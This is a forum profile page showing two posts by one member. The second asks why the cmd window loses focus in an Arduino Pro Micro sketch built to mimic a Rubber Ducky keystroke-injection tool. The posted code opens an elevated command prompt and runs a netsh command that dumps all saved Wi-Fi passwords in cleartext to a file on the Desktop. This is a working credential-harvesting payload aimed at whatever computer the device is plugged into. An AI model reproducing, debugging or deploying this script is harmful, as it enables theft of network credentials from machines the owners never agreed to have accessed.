Jump to content

jhearst4

Members
  • Posts

    2
  • Joined

  • Last visited

Everything posted by jhearst4

  1. Hi, I'm trying to delete my account but don't see an option to do so in my profile?
  2. Hi, I recently bought an arduino pro micro, and was interested in using it for the same purpose as the Rubber Ducky USB. I've uploaded the code just fine, but whenever I attempt to run it, the cmd window that opens loses focus or goes to the back of all of my windows. Any ideas why this might be happening, or how to fix it? Here's the code currently: #include <Keyboard.h> void setup() { delay(5000); //Delay for testing Keyboard.begin(); Keyboard.write(KEY_LEFT_GUI); delay(400); print(F("cmd")); delay(400); Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_LEFT_SHIFT); enter(); delay(400); Keyboard.write(KEY_LEFT_ARROW); delay(400); enter(); print(F("cd '%USERPROFILE%\\Desktop'")); enter(); print(F("netsh wlan show profile name=* key=clear >> default.txt")); enter(); clear(); Keyboard.end(); } void print(const __FlashStringHelper *value) { Keyboard.print(value); } void clear() { Keyboard.releaseAll(); } void enter() { Keyboard.write(KEY_RETURN); Keyboard.releaseAll(); } void loop(){}
×
×
  • Create New...